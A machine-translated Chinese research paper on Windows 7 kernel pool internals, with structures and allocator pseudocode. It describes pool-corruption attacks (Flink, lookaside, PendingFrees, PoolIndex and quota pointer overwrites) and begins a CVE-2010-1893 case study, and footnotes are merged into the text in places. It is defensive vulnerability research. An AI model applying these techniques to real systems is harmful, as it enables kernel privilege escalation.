摘要:在Windows 7中,Microsoft引入了Safe Unlinking,以解决影响Windows内核的越来越多的安全公告。 在从双向链表中删除条目之前,Safe Unlinking接旨在通过验证指向相邻列表条目的指针来检测内存损坏。 因此,攻击者无法轻易利用通用技术来利用池溢出或其他池损坏漏洞。 在本文中,我们表明,尽管引入了安全措施,Windows 7仍然容易受到通用内核池攻击。 特别是,我们表明池分配器可能在某些条件下无法安全地取消链接空闲列表条目,从而允许攻击者破坏任意内存。 为了阻止所提出的攻击,我们提出了进一步强化和增强内核池安全性的方法。
关键词:内核池,**Safe Unlinking**,利用
1 简介
由于现代计算的复杂性,软件漏洞很难完全消除,因此供应商正在尽最大努力隔离并防止利用安全漏洞。 在当代操作系统中引入了诸如DEP和ASLR的缓解,以解决各种常用的开发技术。 但是,由于漏洞利用缓解措施无法解决安全漏洞的根本原因,因此总会出现边缘情况不足的情况。 例如,使用面向返回编程(ROP)可以轻松规避DEP [15]。
此外,利用强大的应用程序嵌入式脚本引擎功能的新技术可以完全绕过DEP和ASLR [4]。利用缓解的补充方法是权限隔离。通过使用操作系统的内置安全机制对用户和进程施加限制,攻击者无法在受损系统中轻松访问和操作系统文件和注册表信息。自从在Vista中引入用户帐户控制(UAC)以来,默认情况下用户不再使用管理权限运行常规应用程序。此外,现代浏览器[2]和文档阅读器[13] [12]使用“沙盒”渲染过程来减轻安全漏洞对解析库和布局引擎的影响。反过来,这促使攻击者(以及研究人员)将精力集中在特权升级攻击上。通过在最高特权环中执行任意代码,操作系统安全性受到破坏。
在大多数情况下,提权漏洞是由操作系统内核或第三方驱动程序中的错误引起的。许多缺陷源于动态分配的内核池内存的处理。内核池类似于用户模式堆,并且多年来容易受到通用写入4攻击,滥用双链表的非链接操作[8] [16]。为了应对越来越多的内核漏洞,微软在Windows 7中引入了安全取消链接[3]。Safe Unlinking可确保在取消链接块之前验证双链接空闲列表上相邻池块的指针。
攻击者利用池损坏漏洞的目标是最终在环0中执行任意代码。这通常始于在选定位置的任意内存写入或n字节损坏。 在本文中,我们表明尽管引入了安全措施,但Windows 7中的内核池仍然容易受到generic1攻击。 反过来,这些攻击可能允许攻击者完全破坏操作系统内核。 我们还表明,旨在修复write-4攻击的Safe Unlinking可能在某些条件下无法实现其目标并允许攻击者破坏任意内存。 为了阻止所提出的攻击,我们最终提出了进一步强化和增强内核池安全性的方法。
本文的其余部分安排如下。 在第2节中,我们详细介绍了内部结构和对Windows 7(和Vista)内核池所做的更改。 在第3节和第4节中,我们讨论并演示了影响Windows 7的实际内核池攻击。在第5节中,我们讨论了反措施并提出了加强内核池的方法。 最后,在第6节中,我们提供了论文的结论。
2 内核池内部结构
在本节中,我们详细介绍了池内存分配和释放中涉及的内核池管理结构和算法。 了解内核池行为对于正确评估其安全性和健壮性至关重要。
为简洁起见,我们假设x86架构(32位)。 但是,大多数结构适用于AMD64 / x64(64位)。 第2.9节讨论了x86和x64体系结构之间内核池的显着差异。
2.1非统一内存架构
对于每个新版本的Windows,内存管理器都得到了增强,可以更好地支持非统一内存架构(NUMA),这是一种用于现代多处理器系统的内存设计架构。 NUMA将不同的存储体专用于不同的处理器,允许更快地访问本地存储器,而访问远程存储器的速度更慢。 处理器和内存按照称为节点的较小单元组合在一起,由执行内核中的KNODE结构定义。 1适用于任何n字节池损坏漏洞。
typedef struct _KNODE
{
/0x000/ union _SLIST_HEADER PagedPoolSListHead;
/0x008/ union _SLIST_HEADER NonPagedPoolSListHead[3];
/0x020/ struct _GROUP_AFFINITY Affinity;
/0x02C/ ULONG32 ProximityId;
/0x030/ UINT16 NodeNumber;
/0x032/ UINT16 PrimaryNodeNumber;
/0x034/ UINT8 MaximumProcessors;
/0x035/ UINT8 Color;
/0x036/ struct _flags Flags;
/0x037/ UINT8 NodePad0;
/0x038/ ULONG32 Seed;
/0x03C/ ULONG32 MmShiftedColor;
/0x040/ ULONG32 FreeCount[2];
/0x048/ struct _CACHED_KSTACK_LIST CachedKernelStacks;
/0x060/ LONG32 ParkLock;
/0x064/ ULONG32 NodePad1;
/0x068/ UINT8 PADDING0[0x18];
} KNODE, *PKNODE;
在多节点系统(nt!KeNumberNodes> 1)上,内存管理器将始终尝试从理想节点进行分配。 因此,KNODE提供有关在“颜色”字段中找到本地内存的位置的信息。 此值是分配和自由算法用于将节点与其首选池关联的数组索引。 此外,KNODE为空闲池页面定义了四个单链接的每节点旁视列表(在第2.6节中讨论)。
2.2系统内存池
在系统初始化时,内存管理器根据系统节点的数量创建动态大小的内存池。 每个池都由池描述符定义(在2.3节中讨论),这是一种跟踪池使用情况的管理结构,并定义池属性,例如内存类型。 池内存有两种不同类型:分页和非分页。
可以从任何进程上下文分配和访问分页池内存,但仅限于IRQL <DPC / dispatch级别。 正在使用的分页池数由nt!ExpNumberOfPagedPools给出。 在单处理器系统上,定义了四(4)个页面缓冲池描述符,由nt!ExpPagedPoolDescriptor数组中的索引1到4表示。 在多处理器系统上,每个节点定义一(1)个页面缓冲池描述符。 在这两种情况下,都为原型池/整页分配定义了一个额外的页面缓冲池描述符,在nt!ExpPagedPoolDescriptor中用索引0表示。 因此,在大多数桌面系统中,定义了五(5)个页面缓冲池描述符。
非页面缓冲池内存始终保留在物理内存中。这是IRQL> = DPC / dispatch级别执行的线程(例如中断处理程序)所必需的,因为无法及时满足页面错误。当前使用的非分页池的数量由nt!ExpNumberOfNonPagedPools给出。
在单处理器系统上,nt!PoolVector数组的第一个索引指向非分页池描述符。在多处理器系统上,每个节点都有自己的非页面缓冲池描述符,由nt!ExpNonPagedPoolDescriptor数组索引。
此外,会话池内存(由win32k使用)用于会话空间分配,并且对于每个用户会话是唯一的。虽然非分页会话内存使用全局非分页池描述符,但分页会话池内存在nt!MM SESSION SPACE中定义了自己的池描述符。为了获得会话池描述符,Windows 7解析会话空间结构的关联的nt!EPROCESS结构(当前正在执行的线程),然后查找嵌入的页面缓冲池描述符。
2.3 池描述符
与用户模式堆非常相似,每个内核池都需要一个管理结构。 池描述符负责跟踪正在运行的分配数,正在使用的页面以及有关池使用情况的其他信息。 它还有助于系统跟踪可重用的池块。 池描述符由以下结构定义(nt!POOL DESCRIPTOR)。
typedef struct _POOL_DESCRIPTOR
{
/0x000/ enum _POOL_TYPE PoolType;
union {
/0x004/ struct _KGUARDED_MUTEX PagedLock;
/0x004/ ULONG32 NonPagedLock;
};
/0x040/ LONG32 RunningAllocs;
/0x044/ LONG32 RunningDeAllocs;
/0x048/ LONG32 TotalBigPages;
/0x04C/ LONG32 ThreadsProcessingDeferrals;
/0x050/ ULONG32 TotalBytes;
/0x054/ UINT8 PADDING0[0x2C];
/0x080/ ULONG32 PoolIndex;
/0x084/ UINT8 PADDING1[0x3C];
/0x0C0/ LONG32 TotalPages;
/0x0C4/ UINT8 PADDING2[0x3C];
/0x100/ VOID** PendingFrees;
/0x104/ LONG32 PendingFreeDepth;
/0x108/ UINT8 PADDING3[0x38];
/0x140/ struct _LIST_ENTRY ListHeads[512];
} POOL_DESCRIPTOR, *PPOOL_DESCRIPTOR;
池描述符包含内存管理器使用的几个重要列表。 PendingFrees指出的延迟空闲列表是一个单独链接的池块,等待被释放。 第2.8节详细说明了这一点。 ListHeads是一个包含相同大小的空闲池块的双向链接列表的数组。 与延迟的空闲列表不同,ListHeads列表中的块已被释放,并且可以由内存管理器随时分配。 我们将在下一节讨论ListHeads。
2.4 ListHeads列表(自由列表)
ListHeads列表或空闲列表的大小为8字节粒度,用于分配最多4080字节2。 空闲块按块大小索引到ListHeads数组中,计算为请求的字节数,向上舍入为8的倍数并除以8,或者BlockSize =(NumberOfBytes + 0xF)>> 3.执行舍入以保留 池标头的空间,所有池池之前的结构。 池标头在x86 Windows上定义如下。
typedef struct _POOL_HEADER
{
union {
struct {
/0x000/ UINT16 PreviousSize : 9;
/0x000/ UINT16 PoolIndex : 7;
/0x002/ UINT16 BlockSize : 9;
/0x002/ UINT16 PoolType : 7;
};
/0x000/ ULONG32 Ulong1;
};
union {
/0x004/ ULONG32 PoolTag;
struct {
/0x004/ UINT16 AllocatorBackTraceIndex;
/0x006/ UINT16 PoolTagHash;
};
};
} POOL_HEADER, *PPOOL_HEADER;
池头包含分配所需的信息和自由算法以正常运行。 PreviousSize指示前一个池块的块大小。 由于内存管理器总是试图通过合并边界自由块来减少碎片,因此它通常用于定位前一个块的池头。 PreviousSize也可以为零,在这种情况下,池块位于池页面的开头。 PoolIndex为相关的池描述符数组提供索引,例如nt!ExpPagedPoolDescriptor。 免费算法使用它来确保池块被释放到正确的池描述符ListHeads。 在3.4节中,我们将展示攻击者如何破坏此值以将池头损坏(例如池溢出)扩展为任意内存损坏。
As its name suggests, PoolType defines a chunk’s pool type. However, it also indicates if a chunk is busy or free. If a chunk is free, PoolType is set to zero. On the other hand, if a chunk is busy, PoolType is set to its descriptor’s pool type (a 2 The remaining page fragment cannot be used if requested bytes exceed 4080.
value in POOL TYPE enum, shown below) OR’ed with a pool-in-use bitmask. This bitmask is set to 2 on Vista and later, while it is set to 4 on XP/2003. E.g. for a busy paged pool chunk on Vista and Windows 7, PoolType = PagedPool|2 = 3.
typedef enum _POOL_TYPE
{
NonPagedPool = 0 /0x0/,
PagedPool = 1 /0x1/,
NonPagedPoolMustSucceed = 2 /0x2/,
DontUseThisType = 3 /0x3/,
NonPagedPoolCacheAligned = 4 /0x4/,
PagedPoolCacheAligned = 5 /0x5/,
NonPagedPoolCacheAlignedMustS = 6 /0x6/,
MaxPoolType = 7 /0x7/,
NonPagedPoolSession = 32 /0x20/,
PagedPoolSession = 33 /0x21/,
NonPagedPoolMustSucceedSession = 34 /0x22/,
DontUseThisTypeSession = 35 /0x23/,
NonPagedPoolCacheAlignedSession = 36 /0x24/,
PagedPoolCacheAlignedSession = 37 /0x25/,
NonPagedPoolCacheAlignedMustSSession = 38 /0x26/
} POOL_TYPE, *PPOOL_TYPE;
如果池块是空闲的并且在ListHeads列表中,则其池头后面紧跟一个LIST ENTRY结构。 由于这个原因,ListHeads不维护单个块大小(8字节)的块,因为它们不足以容纳结构。
typedef struct _LIST_ENTRY
{
/0x000/ struct _LIST_ENTRY* Flink;
/0x004/ struct _LIST_ENTRY* Blink;
} LIST_ENTRY, *PLIST_ENTRY;
LIST ENTRY结构用于连接双链表上的池块。 从历史上看,它一直是利用用户模式堆[5]和内核池[8] [16]中的内存损坏漏洞的目标,主要是由于众所周知的“写4”漏洞利用技术。 随着Windows XP SP2的发布,用户模式堆中的LIST ENTRY攻击[5],类似于Windows 7的内核池[3]。
2.5 Lookaside Lists
内核使用单链接后备(LIFO)列表来更快地分配和释放小池组块。 它们被设计为在高度并发的代码中运行,并且在添加时使用原子比较和交换指令.3覆盖LIST ENTRY结构可能导致在取消链接过程中将任意值(指针)写入存储器中的任意位置。 删除条目。 为了更好地利用CPU缓存,处理器控制块(KPRCB)中的每个处理器定义了后备列表。 KPRCB结构为分页(PPPagedLookasideList)和非分页(PPNPagedLookasideList)分配保留了旁边列表,以及用于频繁请求的固定大小分配的特殊专用旁视列表(PPLookasideList)例如I / O请求包和内存描述符列表)。
typedef struct _KPRCB
{
…
/0x5A0/ struct _PP_LOOKASIDE_LIST PPLookasideList[16];
/0x620/ struct _GENERAL_LOOKASIDE_POOL PPNPagedLookasideList[32];
/0xF20/ struct _GENERAL_LOOKASIDE_POOL PPPagedLookasideList[32];
…
} KPRCB, *PKPRCB;
对于分页和非分页的旁视列表,最大块大小为0x20。 因此,每种类型有32个唯一的旁视列表。 每个旁视列表由GENERAL LOOKASIDE POOL结构定义,如下所示。
typedef struct _GENERAL_LOOKASIDE_POOL
{
union
{
/0x000/ union _SLIST_HEADER ListHead;
/0x000/ struct _SINGLE_LIST_ENTRY SingleListHead;
};
/0x008/ UINT16 Depth;
/0x00A/ UINT16 MaximumDepth;
/0x00C/ ULONG32 TotalAllocates;
union
{
/0x010/ ULONG32 AllocateMisses;
/0x010/ ULONG32 AllocateHits;
};
/0x014/ ULONG32 TotalFrees;
union
{
/0x018/ ULONG32 FreeMisses;
/0x018/ ULONG32 FreeHits;
};
/0x01C/ enum _POOL_TYPE Type;
/0x020/ ULONG32 Tag;
/0x024/ ULONG32 Size;
union
{
/0x028/ PVOID AllocateEx;
/0x028/ PVOID Allocate;
};
union
{
/0x02C/ PVOID FreeEx;
/0x02C/ PVOID Free;
};
/0x030/ struct _LIST_ENTRY ListEntry;
/0x038/ ULONG32 LastTotalAllocates;
union
{
/0x03C/ ULONG32 LastAllocateMisses;
/0x03C/ ULONG32 LastAllocateHits;
};
/0x040/ ULONG32 Future[2];
} GENERAL_LOOKASIDE_POOL, *PGENERAL_LOOKASIDE_POOL;
在此结构中,SingleListHead.Next指向单链接后备列表上的第一个空闲池块。后备列表的大小受到深度值的限制,由平衡集管理器4根据后备列表上的命中和未命中数周期性地调整。因此,频繁使用的旁视列表将具有比不常使用的列表更大的深度值。
初始深度为4(nt!ExMinimumLookasideDepth),最大值为MaximumDepth(256)。如果后备列表已满,则池块将被释放到相应的ListHeads列表中。
还为会话池定义了旁视列表。分页会话池分配使用会话空间中定义的单独的旁视列表(nt!ExpSessionPoolLookaside)。每会话后备列表的最大块大小为0x19,由nt!ExpSessionPoolSmallLists设置。会话池后备列表使用GENERAL LOOKASIDE结构,与GENERAL LOOKASIDE POOL相同,但具有额外的填充。对于非分页会话池分配,使用先前讨论的非分页每处理器后备列表。
如果设置了热/冷页面分隔池标志(nt!ExpPoolFlags&0x100),则会禁用池组块的旁视列表。在系统启动期间设置该标志以提高速度并减少内存占用。定时器(设置为nt!ExpBootFinishedTimer)在启动后2分钟关闭热/冷页面分离。
2.6 大型池内存分配
池描述符ListHeads维护小于页面的块。大于4080字节的池分配(需要一页或多页)由nt!ExpAllocateBigPool处理。反过来,这个函数调用nt!MiAllocatePoolPages,即池页面分配器,它将请求的大小舍入到最接近的页面大小。在大池分配之后立即放置块大小为1且前一大小为0的“frag”块,使得池分配器可以使用剩余的页面片段。然后将多余的字节放回适当的池描述符ListHeads列表的尾部。 4余额集管理器是执行nt!KeBalanceSetManager的系统线程,它定期处理工作项并调整后备列表的大小。
回想一下2.1节,每个节点(由KNODE定义)都有4个单链接的旁视列表。池页面分配器使用这些列表快速处理小页面计数请求。对于分页内存,KNODE为单页分配定义了一个后备列表(PagedPoolSListHead)。对于非分页分配,定义了页面计数1,2和3的后备列表(NonPagedPoolSListHead [3])。池页面旁视列表的大小由系统中存在的物理页面数决定。
如果无法使用旁视列表,则使用分配位图来获取请求的池页面。位图(在RTL BITMAP中定义)是一个位数组,指示正在使用哪些内存页并为每个主要池类型创建。搜索包含所请求的未使用页数的第一个索引。
对于分页池,位图在MM PAGED POOL INFO结构中定义,由nt!MmPagedPoolInfo指向。对于非分页池,位图由nt!MiNonPagedPoolBitMap指向。对于会话池,位图是
在MM SESSION SPACE结构中定义。
对于大多数大型池分配,nt!ExAllocatePoolWithTag将请求额外的4个字节(x64上为8)以将分配大小存储在池主体的末尾。随后在释放分配时(在ExFreePoolWithTag中)检查此值以捕获可能的池溢出。
2.7 分配算法
为了分配池内存,内核模块和第三方驱动程序调用由执行内核导出的ExAllocatePoolWithTag(或其任何包装函数)。 此函数将首先尝试使用旁视列表,然后是ListHeads列表,如果没有返回池块,则从池页面分配器请求页面。 以下伪代码大致概述了其实现。
PVOID ExAllocatePoolWithTag(POOL_TYPE PoolType,
SIZE_T NumberOfBytes,
ULONG Tag)
{// call pool page allocator if size is above 4080 bytes
if (NumberOfBytes > 0xff0)
{
// call nt!ExpAllocateBigPool
}
// attempt to use lookaside lists
if (PoolType & PagedPool)
{
if (PoolType & SessionPool && BlockSize <= 0x19)
{
// try the session paged lookaside list
// return on success
}
else if (BlockSize <= 0x20)
{
// try the per-processor paged lookaside list
// return on success
}
// lock paged pool descriptor (round robin or local node)
}
else
{ // NonPagedPool
if (BlockSize <= 0x20)
{
// try the per-processor non-paged lookaside list
// return on success
}
// lock non-paged pool descriptor (local node)
}
// attempt to use listheads lists
for (n = BlockSize - 1; n < 512; n++)
{
if (ListHeads[n].Flink == &ListHeads[n])
{ // empty
continue; // try next block size
}
// safe unlink ListHeads[n].Flink
// split if larger than needed
// return chunk
}
// no chunk found, call nt!MiAllocatePoolPages
// split page and return chunk
}
如果从ListHeads [n]列表返回大于请求大小的块,则拆分块。 为了减少碎片,分配器返回的超大块的部分取决于其相对页面位置。 如果块是页面对齐的,则从块的前面分配所请求的大小。 如果块不是页面对齐的,则从块的后面分配所请求的大小。 无论哪种方式,拆分块的剩余(未使用)片段都放在适当的ListHeads列表的尾部。
2.8 释放算法
由ExFreePoolWithTag实现的免费算法检查要释放的块的池头,并将其释放到适当的列表。 为了减少碎片,它还试图合并边界免费块。 以下伪代码显示了算法的工作原理。
VOID
ExFreePoolWithTag(PVOID Entry,ULONG Tag)
{
if (PAGE_ALIGNED(Entry))
{
// call nt!MiFreePoolPages
// return on success
}
if (Entry->BlockSize != NextEntry->PreviousSize)
BugCheckEx(BAD_POOL_HEADER);
if (Entry->PoolType & SessionPagedPool && Entry->BlockSize <= 0x19)
{
// put in session pool lookaside list
// return on success
}
else if (Entry->BlockSize <= 0x20)
{
if (Entry->PoolType & PagedPool)
{
// put in per-processor paged lookaside list
// return on success
}
else
{ // NonPagedPool
// put in per-processor non-paged lookaside list
// return on success
}
}
if (ExpPoolFlags & DELAY_FREE)
{ // 0x200
if (PendingFreeDepth >= 0x20)
{
// call nt!ExDeferredFreePool
}
// add Entry to PendingFrees list
}
else
{
if (IS_FREE(NextEntry) && !PAGE_ALIGNED(NextEntry))
{
// safe unlink next entry
// merge next with current chunk
}
if (IS_FREE(PreviousEntry))
{
// safe unlink previous entry
// merge previous with current chunk
}
if (IS_FULL_PAGE(Entry))
// call nt!MiFreePoolPages
else
{
// insert Entry to ListHeads[BlockSize - 1]
}
}
}
DELAY FREE池标志(nt!ExpPoolFlags&0x200)启用性能优化,可以立即释放多个池分配以分摊池的获取和释放。 在[11]中简要提到了这种机制,并且如果可用物理页面的数量(nt!MmNumberOfPhysicalPages)大于或等于0x1fc00.5,则在Windows XP SP2或更高版本上启用此机制。使用时,每次对ExFreePoolWithTag的新调用都会将块附加到 被释放到PendingFrees列表,特定于每个池描述符。 如果列表包含32个或更多块(由PendingFreeDepth确定),则在调用5时处理它,在IA-32和AMD64体系结构上大致转换为508兆字节的RAM。
ExDeferredFreePool。 此函数迭代每个条目并将其释放到相应的ListHeads列表,如以下伪代码所示。
VOID
ExDeferredFreePool(PPOOL_DESCRIPTOR PoolDesc,
BOOLEAN bMultipleThreads)
for each (Entry in PendingFrees) {
if (IS_FREE(NextEntry) && !PAGE_ALIGNED(NextEntry)) {
// safe unlink next entry
// merge next with current chunk
}
if (IS_FREE(PreviousEntry)) {
// safe unlink previous entry
// merge previous with current chunk
}
if (IS_FULL_PAGE(Entry))
// add to full page list
else {
// insert Entry to ListHeads[BlockSize - 1]
}
}
for each (page in full page list) {
// call nt!MiFreePoolPages
}
释放到旁视和池描述符ListHeads总是放在相应列表的前面。 此规则的例外是分割块的剩余片段,它们放在列表的尾部。 当内存管理器返回大于请求大小的块时(如第2.7节所述),块被拆分,例如在ExAllocatePoolWithTag中拆分的ExpBigPoolAllocation和ListHeads条目中拆分的完整页面。 为了尽可能频繁地使用CPU缓存,总是从相应列表的前面的最近使用的块进行分配。
2.9 AMD64/x64 内核池更改
尽管支持更大的物理地址空间,但x64 Windows并未对内核池引入任何重大更改。 但是,为了适应指针宽度的变化,块大小粒度增加到16个字节,计算为BlockSize =(NumberOfBytes + 0x1F)>> 4.为了反映此更改,池头将相应更新。
typedef struct _POOL_HEADER
{
union
{
struct
{
/0x000/ ULONG32 PreviousSize : 8;
/0x000/ ULONG32 PoolIndex : 8;
/0x000/ ULONG32 BlockSize : 8;
/0x000/ ULONG32 PoolType : 8;
};
/0x000/ ULONG32 Ulong1;
};
/0x004/ ULONG32 PoolTag;
union
{
/0x008/ struct _EPROCESS* ProcessBilled;
struct
{
/0x008/ UINT16 AllocatorBackTraceIndex;
/0x00A/ UINT16 PoolTagHash;
/0x00C/ UINT8 PADDING0[0x4];
};
};
} POOL_HEADER, *PPOOL_HEADER;
由于块大小粒度的变化,PreviousSize和BlockSize都减少到8位。 因此,池描述符ListHeads包含256个双向链表,而不是x86上的512。 这也允许将额外的位分配给PoolIndex,因此x64上可支持256个节点(池描述符),x86上支持128个节点(池描述符)。 此外,池标头扩展为16个字节,并包括配额管理中使用的ProcessBilled指针,以标识为分配收取的进程。 在x86上,此指针存储在池主体的最后四个字节中。 我们将讨论利用第3.5节中的配额过程指针的攻击。
3 内核池攻击
在本节中,我们将讨论对Windows 7内核池的几种实际攻击。 首先,在3.1节中,我们展示了对ListHeads池块(un)安全取消链接中LIST ENTRY结构的攻击。 在3.2节和3.3节中,我们分别显示了对单链接的旁视和延迟空闲列表的攻击。 在3.4节中,我们对已释放的已分配块的池头进行了攻击,最后,在第3.5节中,我们显示了对配额收费池分配的攻击。
3.1 ListEntry Flink 覆盖
为了解决内核池溢出的一般利用问题,Windows 7执行安全取消链接以验证ListHeads列表上池块的LIST ENTRY指针。 但是,在从ListHeads [n](对于给定的块大小)分配池块时,算法验证ListHeads [n]的LIST ENTRY结构,而不验证未链接的实际块的结构。 因此,覆盖空闲块中的前向链路可能会导致ListHeads [n]的地址被写入攻击者控制的地址(图1)。
图1 ListEntry Flink Overwrite
此攻击要求目标ListHeads [n]列表中至少存在两个空闲块。 否则,ListHeads [n] .Blink将验证未链接的块的前向链接。 在示例1中,ListHeads列表上的池块的前向链接已被攻击者选择的地址损坏。 反过来,当在EXAllocatePoolWithTag中分配此块时,算法尝试在攻击者控制的地址(eax)处的LIST ENTRY结构的反向链接处写入ListHeads [n](esi)的地址。
尽管不能从用户模式上下文中容易地确定esi的值,但有时可以推断其值。例如,如果只定义了一个非页面缓冲池(如2.2中所述),则esi将指向ntoskrnl数据段中的固定位置(nt!NonPagedPoolDescriptor)。如果池描述符是从内存中分配的,则可以假定其来自定义的池内存范围的位置。因此,攻击者可以覆盖重要的全局变量[14]或内核对象指针[6](例如,通过部分指针覆盖)以获得任意代码执行。攻击者还可以使用覆盖中的用户模式指针将任意写入扩展为完全受控的内核分配。这是因为ListHeads [n] .Flink更新为在取消链接损坏的块之后指向下一个空闲块(攻击者控制的指针)。由于攻击者提供的地址的反向链接已更新为指向ListHeads [n],因此池分配器在将usermode指针与空闲列表安全地取消链接时没有任何问题。
3.2 Lookaside Next指针覆盖
Lookaside列表设计为快速且轻量级,因此不会引入与双链接ListHeads列表相同的一致性检查。 单链接,后备列表上的每个条目都包含指向下一个条目的指针。 由于没有检查声明这些指针的有效性,攻击者可能会使用池损坏漏洞强制池分配器在检索下一个免费后备数据块时返回任意地址。 反过来,这可能允许攻击者破坏任意内核内存。
Fig. 2. Lookaside Pool Chunk Pointer Overwrite
如第2.5节所述,内存管理器对池组块和池页面都使用旁视列表。对于旁视池块,Next指针直接跟随8字节池标头(POOL HEADER)。因此,覆盖Next指针最多需要x86上的12字节溢出。为了将池块释放到后备列表,必须满足以下条件:
{BlockSize <= 0x20表示(分页/非分页)池组块
{BlockSize <= 0x19用于分页会话池块
{目标BlockSize的旁视列表未满
{未使用热/冷页面分隔(ExpPoolFlags&0x100)
为了将后备Next指针损坏扩展为n字节任意内存覆盖,必须进行目标块大小的分配,直到返回损坏的指针(图2)。此外,必须将分配的块的内容控制到某种程度,以便影响用于覆盖的数据。对于页面缓冲池分配,分配unicode字符串(如NtCreateSymbolicLinkObject)的本机API提供了一种方便的方法,可以使用几乎任何字节组合填充任何大小的块。此类API还可用于碎片整理和操作池内存布局,以控制可利用的原语,如未初始化的指针和双重释放。 Fig. 3. Lookaside Pool Page Pointer Overwrite
与后备池组块不同,后备池页面(图3)将Next指针存储在offset null处,因为没有与它们关联的池头。如果以下保持,则已分配的池页面将被释放到后备列表:
{NumberOfPages = 1用于分页池页面
{NumberOfPages <= 3表示非分页池页面
{目标页数的旁视列表未满
每当内存管理器必须请求额外的池内存时,池页面就会被nt!MiAllocatePoolPages返回,而ListHeads或旁视列表中没有这些内存。由于这通常由许多并发系统线程执行,因此操作内核池布局以便在旁边列表上的空闲池页面旁边定位溢出显然说起来容易做起来难。另一方面,当使用旁视池块时,可以使用不常请求的块大小值,以便对内存布局进行更细粒度的控制。这可以通过检查旁视管理结构中的TotalAllocates值来完成。
3.3 PendingFrees Next 指针覆盖
回想一下2.8节,等待释放的池条目存储在单链接的PendingFrees列表中。 由于在遍历这些列表时不执行任何检查,因此攻击者可以利用池损坏漏洞来破坏PendingFrees列表条目的Nextpointer。 反过来,这将允许攻击者将任意地址释放到选定的池描述符ListHeads列表,并可能控制后续池分配的内存(图4)。
Fig. 4. PendingFrees Pointer Overwrite
攻击延迟空闲列表的一个值得注意的警告是,内核池经常处理此列表(每32次释放一次)。 事实上,数百个线程可以安排到同一个内核池,也可以在多核机器上并行处理6个线程。 因此,很可能已经从延迟的空闲列表中删除了池溢出的目标块并将其放在ListHeads列表中。 出于这个原因,我们很难认为这种攻击是实用的。
但是,由于某些池描述符的使用频率低于其他池描述符(例如会话池描述符),因此在某些情况下对延迟空闲列表的攻击可能是可行的。
3.4 PoolIndex 覆盖
如果为给定池类型定义了多个池描述符,则池块的PoolIndex表示关联池描述符数组的索引。 因此,在使用ListHeads条目时,池块总是被释放到其正确的池描述符。 但是,由于验证不充分,格式错误的PoolIndex可能会触发越界数组解除引用,并随后允许攻击者覆盖任意内核内存。
Fig. 5. PoolIndex Overwrite on Free
对于分页池,PoolIndex始终表示分页池描述符数组的索引(nt!ExpPagedPoolDescriptor)。在已检查的构建中,索引6每个池描述符都实现一个锁,因此两个线程实际上永远不会同时在同一个空闲列表上运行。在与nt!ExpNumberOfPagedPools的比较中验证值,以防止任何越界数组访问。但是,在免费(零售)版本中,索引未经过验证。对于非分页池,只有当NUMA感知系统中存在多个节点时,PoolIndex才表示nt!ExpNonPagedPoolDescriptor的索引。同样,在免费版本中,PoolIndex未经过验证。格式错误的PoolIndex(仅需要2个字节的池溢出)可能导致分配的池块被释放到空指针池描述符(图5)。通过映射虚拟空页,攻击者可以完全控制池描述符及其ListHeads条目。反过来,这可能允许攻击者在链接到列表时将池块的地址写入任意地址。这是因为当前在前面的块的闪烁用释放的块的地址更新,例如ListHeads [n] .Flink-> Blink = FreedChunk。值得注意的是,由于释放的块不会返回到任何实际池描述符,因此无需清理(删除过时的条目等)内核池。
Fig. 6. PoolIndex Overwrite on Delayed Free
如果启用了延迟池释放(如第2.8节所述),则可以通过创建伪PendingFrees列表来实现类似的效果(图6)。在这种情况下,列表中的第一个条目将指向攻击者控制的地址。此外,池描述符中PendingFreeDepth的值将大于或等于0x20以触发PendingFrees列表的处理。
示例2演示了PoolIndex覆盖如何可能导致用户控制的页面地址(eax)写入任意目标地址(esi)。为了执行任意代码,攻击者可以利用此方法用用户模式页面地址覆盖不常用的内核函数指针,并从同一进程上下文触发它的执行。
eax = 20000008 ebx = 000001ff ecx = 000001ff edx = 00000538 esi = 80808080 edi = [..]
eip = 8293c943 esp = 9c05fb20 ebp = 9c05fb58 iopl = 0 nv up ei pl nz na po nc
cs = 0008 ss = 0010 ds = 0023 es = 0023 fs = 0030 gs = 0000 efl = 00010202
!NT ExDeferredFreePool + 0x2e3:
8293c943 894604 mov dword ptr [esi + 4],eax ds:0023:80808084 = ????????
示例2:PoolIndex覆盖延迟释放
如果块的PoolType被覆盖(例如,通过将其设置为PagedPool),则可以将PoolIndex覆盖攻击应用于任何池类型。由于这也需要覆盖BlockSize,因此攻击者必须知道溢出块的大小或创建嵌入其中的伪边界块。这是必需的,因为FreedBlock-> BlockSize = NextBlock-> PreviousSize必须保持,如免费算法所检查。此外,块大小应大于0x20以避免旁视列表(忽略PoolIndex)。但请注意,嵌入式池块可能会破坏块数据中的重要字段或指针。
3.5 Quota 进程指针覆盖
由于可以为分配的池内存收取进程费用,因此池分配必须为池算法提供足够的信息,以便将收费的配额返回到正确的进程。出于这个原因,池组块可以可选地存储指向关联的过程对象的指针。在x64上,进程对象指针存储在池头的最后八个字节中,如2.9节所述,而在x86上,指针被附加到池体。在池损坏漏洞中覆盖此指针(图7)可能允许攻击者在返回收费配额时释放正在使用的进程对象或损坏任意内存。
每当释放池分配时,免费算法在实际将内存返回到正确的空闲列表或旁视之前检查配额位(0x8)的池类型。如果该位置位,它将尝试通过调用nt!PspReturnQuota返回收费配额,然后取消引用关联的过程对象。因此,覆盖进程对象指针可以允许攻击者减少任意进程对象的引用(指针)计数。如果满足正确的条件(例如当引用计数降低到零时句柄计数为零),则引用计数不一致可能随后导致释放后使用。
如果用指向用户模式内存的指针替换进程对象指针,攻击者可以创建一个假的EPROCESS对象来控制指向EPROCESS QUOTA BLOCK结构的指针(图8),其中存储了配额信息。在空闲时,通过减去分配的大小来更新指示此结构中使用的配额的值。因此,攻击者可以在返回收费配额时减少任意地址的值。只要配额位和攻击者,攻击者就可以对任何池分配进行攻击
配额进程对象指针都已设置。
4 案例研究: CVE-2010-1893
在本节中,我们应用3.4节中描述的PoolIndex覆盖技术来利用Windows TCP / IP内核模块(CVE-2010-1893)中的池溢出,在MS10-058 [10]中解决。 所描述的攻击仅在池管理结构上运行,因此不依赖于任何涉及的池块中保存的数据。
4.1关于漏洞
Windows TCP / IP内核模块或tcpip.sys实现了几个用于控制套接字模式的函数。通过调用WSAIoctl并为所需操作提供I / O控制代码,这些函数大部分可以从用户模式访问。在指定SIO ADDRESS LIST SORT ioctl时,tcpip.sys调用IppSortDestinationAddresses()对IPv6和IPv4目标地址列表进行排序,以确定建立连接的最佳可用地址。
